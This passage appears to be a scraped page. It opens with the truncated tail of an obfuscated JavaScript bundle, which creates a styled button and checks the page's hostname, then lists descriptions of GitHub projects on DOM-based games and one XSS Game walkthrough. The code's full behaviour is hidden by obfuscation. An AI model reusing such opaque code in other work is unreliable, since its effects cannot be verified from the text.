ig=document[ky(0x280)+ky(0x209)+ky(0x397)+'t']('a');ig[ky(0x2a9)+'e'][ky(0x39e)+'h']=ky(0x364),ig['styl'+'e'][ky(0x3a8)+ky(0x366)]=ky(0x217)+'k',ig[ky(0x2a9)+'e'][ky(0x1e9)+'r']=iQ['text'],ig['styl'+'e'][ky(0x16d)+'ing']=ky(0x2fe),ig[ky(0x2a9)+'e'][ky(0x36e)+'or']=ky(0x283)+ky(0x3a7),ig[ky(0x2a9)+'e'][ky(0x357)+ky(0x248)+ky(0x151)]=ky(0x396)+ky(0x2d1)+'d\x20'+iQ[ky(0x21b)+'lt'],ig[ky(0x2a9)+'e'][ky(0x376)+ky(0x295)+ky(0x157)+'on']=ky(0x375),ig[ky(0x2a9)+'e'][ky(0x1f5)+'Size']=ky(0x14d),ig[ky(0x170)+'rTex'+'t']=iV,im[ky(0x2f4)+'nd'](ig),ig[ky(0x231)+ky(0x218)+'List'+ky(0x37b)](ky(0x219)+ky(0x1a0)+ky(0x1c5)in window?ky(0x331)+ky(0x37a)+'rt':'clic'+'k',()=>{const kf=ky;let iR=n();try{ic(iR),t(iR);}catch{alert(kf(0x251)+kf(0x1c4)+'\x20ocu'+'rred'+'!');}});}document[kK(0x1ad)+'tion']['host'+kK(0x33d)]!=kK(0x389)+kK(0x238)+kK(0x261)+kK(0x20c)?alert(kK(0x16a)+kK(0x1d1)+kK(0x253)+kK(0x2c5)+'e!'):(alert(kK(0x27c)+kK(0x21c)+kK(0x3a3)+'sil,'+kK(0x277)+kK(0x1ed)+kK(0x31c)+kK(0x14f)+kK(0x352)+'\x20gba'+kK(0x232)+'dev/'+kK(0x238)+kK(0x1fd)+kK(0x18d)+'s\x20th'+kK(0x321)+kK(0x316)+kK(0x2c9)+kK(0x315)+kK(0x1bb)+kK(0x371)+kK(0x1f2)+kK(0x137)+kK(0x149)+kK(0x2db)+'lose'+kK(0x293)+'\x20men'+kK(0x178)+kK(0x1cf)+kK(0x351)+'Q\x20-\x20'+kK(0x1db)+kK(0x317)+'wer\x0a'+kK(0x2d4)+kK(0x2c6)+kK(0x3a4)+kK(0x275)+'visi'+'bili'+'ty'),iG(theme()));})());})();/**********************************************************************************************************************************************************************************************************/})()
breatheco-de
Practice your entry-level skills in Javascript, The DOM and HTML/CSS by building a Pop Balloons Game.
freezedev
Lightweight DOM-based game framework
ismailhasir
I made this mini game project for learn and practice about DOM Manipulation. (Vanilla JavaScript. )
JaxonRailey
Remake of the classic PacMan game, adapted for educational purposes, useful for showing the basic features of JavaScript, such as variables and constants, conditional and iterative structures, ternary operators, arrays, functions, DOM manipulation, eventListener and playing sounds.
llagerlof
Conway's Game of Life using javascript and some Svelte
AdityaBhatt3010
XSS, DOM Manipulation, Input Reflection — A complete step-by-step walkthrough of Google’s XSS Game demonstrating real-world cross-site scripting patterns, payload reasoning, and exploitation across all six levels.
AlexWilton
Multiplayer game of Risk over a network with friends and/or using A.I. players
chqwer2
No description available
shubhxg
Basic car game using javascript dom.